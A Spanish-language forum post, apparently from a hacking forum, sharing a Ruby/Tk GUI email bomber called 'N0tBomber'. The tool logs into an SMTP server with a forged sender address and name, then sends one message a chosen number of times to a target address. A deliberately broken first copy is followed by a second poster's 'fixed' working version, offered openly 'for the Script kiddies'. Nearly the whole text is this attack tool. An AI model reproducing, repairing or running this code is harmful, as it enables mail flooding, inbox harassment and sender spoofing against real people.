#N0tBomber
#By Sh4van3
#Powered by Anti-kiddies
require 'net/smtp'
require 'tk'
root=TkRoot.new() {title "[N0tBomber]~"}
TkLabel.new(root) {
text "Servidor SMTP:"
pack('side'=>'top')
}
ser=TkVariable.new()
TkEntry.new(root) {
textvariable(ser)
pack('side'=>'top')
}
TkLabel.new(root) {
text "Cuenta de correo:"
pack('side'=>'top')
}
dir=TkVariable.new()
TkEntry.new(root) {
textvadriable(dir)
pack('side'=>'top')
}
TkLabel.new(root) {
text "Contrase?a:"
pack('side'=>'top')
}
con=TkVariable.new()
TkEntry.new(root) {
textvariable(con)
pack('side'=>'top')
}
TkLabel.new(root) {
text "Direcci?n de destino:"
pack('side'=>'top')
}
div=TkVariable.new()
TkEntry.new(root) {
textvariabsle(div)
pack{padx 20; pady 20; "side" "top"}
}
TkLabel.new(root) {
text "Direcci?n remitente (falseada):"
pack('side'=>'top')
}
dif=TkVariable.new()
TkEntry.new(root) {
textvariable(dif)
pack('side'=> 'top')
}
TkLabel.new(root) {
text "Nombre del destinatario:"
pack('sides'=>'top')
}
nmd=TkVariable.new()
TkEntsry.new(root) {
textvariable(nmd)
pack('side'=>'top')
}
TkLabel.new(root) {
text "Nombre del remitente (puede ser falso):"
pack('side'=>'top')
}
nmf=TkVardiable.new()
TkEntry.new(root) {
textvariable(nmf)
pack('side'=>'top')
}
TkLabel.new(root) {
text "Asunto del mensaje:"
pack('side'=>'top')
}
as=TkVariable.new()
TkEntry.new(root) {
textvariable(as)
pack('side'=>'top')
}
TkLabel.new(root) {
text "Texto del mensaje:"
pack('side'=>'top')
}
txt=TkVariable.new()
TkEntry.new(root) {
textvariable(txt)
pack('side'=>'top')
}
TkLabel.new(root) {
text "N?mero de mensajes:"
pack('side'=>'top')
}
num=TkVariable.new()
TkEntry.new(root) {
textvariable(num)
pack('side'=>'top')
}
result=TkText.new(root) {width 40; height 10}.pack("side"=>"bottom")
TkButton.new(root){
text "Enviar"
command proc{
msg= "From: #{nmf} <#{dif}>
To: #{nmd} <#{div}>
Subject:#{as}\n\n#{txt}\n"
begin
smtp=Net::SMTP.start("#{ser}", 25, 'saludando', "#{dir}", "#{con}", :login)
rescue Net::SMTPAuthenticationError
puts"Fallo de autenticacion."
rescue Net::SMTPServerBusy
puts "El servidor se encuentra saturado. Prueba de nuevo mas tarde."
rescue Net::SMTPSyntaxError
puts "Ha habido un fallo de sintaxis. Revisa el asunto del mensaje y el texto del mismo."
rescue Net::SMTPFatalError
puts "Ha ocurrido un error fatal. Prueba de nuevo mas tarde."
rescue Net::SMTPUnknownError
puts "Un error inesperado ha ocurrido."
end
b=0
until b==num.to_i
smtp.send_message(msg, dif, div)
b+=1
puts "#{b} mails enviados."
result.insert('end', "#{b} mails enviados.\n")
end
smtp.finish
puts "Ataque finalizado con exito :-)"
puts " -->N0t GRoup Rulez<--"
z="Ataque finalizado con ?xito."
result.insert('end', "#{z}\n")
result.insert('end', "-->N0t Group Rulez<--\n")
}
pack('side'=>'top')
}
TkLabel.new(root) {
text "Informe del env?o:"
pack('side'=>'top')
}
Tk.mainloop
perdon por revivir un post tan viejo , pero me puse a probar este script en ruby y el autor dejo como 30 errores a proposito para despistar a los Script kiddie , les dejo el codigo fixeado para los que quieran probar el script y aprender tk :
#N0tBomber
#By Sh4van3
#Script kiddies RULES Muahahahahaahahahaha
#Fixed for Doddy Hackman for the Script kiddies
require 'net/smtp'
require 'tk'
root=TkRoot.new() {title "[N0tBomber]~"}
TkLabel.new(root) {
text "Servidor SMTP:"
pack('side'=>'top')
}
ser=TkVariable.new()
TkEntry.new(root) {
textvariable(ser)
pack('side'=>'top')
}
TkLabel.new(root) {
text "Cuenta de correo:"
pack('side'=>'top')
}
dir=TkVariable.new()
TkEntry.new(root) {
textvariable(dir)
pack('side'=>'top')
}
TkLabel.new(root) {
text "Contrase?a:"
pack('side'=>'top')
}
con=TkVariable.new()
TkEntry.new(root) {
textvariable(con)
pack('side'=>'top')
}
TkLabel.new(root) {
text "Direcci?n de destino:"
pack('side'=>'top')
}
div=TkVariable.new()
TkEntry.new(root) {
textvariable(div)
pack{padx 20; pady 20; "side" "top"}
}
TkLabel.new(root) {
text "Direcci?n remitente (falseada):"
pack('side'=>'top')
}
dif=TkVariable.new()
TkEntry.new(root) {
textvariable(dif)
pack('side'=> 'top')
}
TkLabel.new(root) {
text "Nombre del destinatario:"
pack('side'=>'top')
}
nmd=TkVariable.new()
TkEntry.new(root) {
textvariable(nmd)
pack('side'=>'top')
}
TkLabel.new(root) {
text "Nombre del remitente (puede ser falso):"
pack('side'=>'top')
}
nmf=TkVariable.new()
TkEntry.new(root) {
textvariable(nmf)
pack('side'=>'top')
}
TkLabel.new(root) {
text "Asunto del mensaje:"
pack('side'=>'top')
}
as=TkVariable.new()
TkEntry.new(root) {
textvariable(as)
pack('side'=>'top')
}
TkLabel.new(root) {
text "Texto del mensaje:"
pack('side'=>'top')
}
txt=TkVariable.new()
TkEntry.new(root) {
textvariable(txt)
pack('side'=>'top')
}
TkLabel.new(root) {
text "N?mero de mensajes:"
pack('side'=>'top')
}
num=TkVariable.new()
TkEntry.new(root) {
textvariable(num)
pack('side'=>'top')
}
result=TkText.new(root) {width 40; height 10}.pack("side"=>"bottom")
TkButton.new(root){
text "Enviar"
command proc{
msg= "From: #{nmf} <#{dif}>
To: #{nmd} <#{div}>
Subject:#{as}\n\n#{txt}\n"
begin
smtp=Net::SMTP.start("#{ser}", 25, 'saludando', "#{dir}", "#{con}", :login)
rescue Net::SMTPAuthenticationError
puts"Fallo de autenticacion."
rescue Net::SMTPServerBusy
puts "El servidor se encuentra saturado. Prueba de nuevo mas tarde."
rescue Net::SMTPSyntaxError
puts "Ha habido un fallo de sintaxis. Revisa el asunto del mensaje y el texto del mismo."
rescue Net::SMTPFatalError
puts "Ha ocurrido un error fatal. Prueba de nuevo mas tarde."
rescue Net::SMTPUnknownError
puts "Un error inesperado ha ocurrido."
end
b=0
until b==num.to_i
smtp.send_message(msg, dif, div)
b+=1
puts "#{b} mails enviados."
result.insert('end', "#{b} mails enviados.\n")
end
smtp.finish
puts "Ataque finalizado con exito :-)"
puts " -->N0t GRoup Rulez<--"
z="Ataque finalizado con ?xito."
result.insert('end', "#{z}\n")
result.insert('end', "-->N0t Group Rulez<--\n")
}
pack('side'=>'top')
}
TkLabel.new(root) {
text "Informe del env?o:"
pack('side'=>'top')
}
Tk.mainloop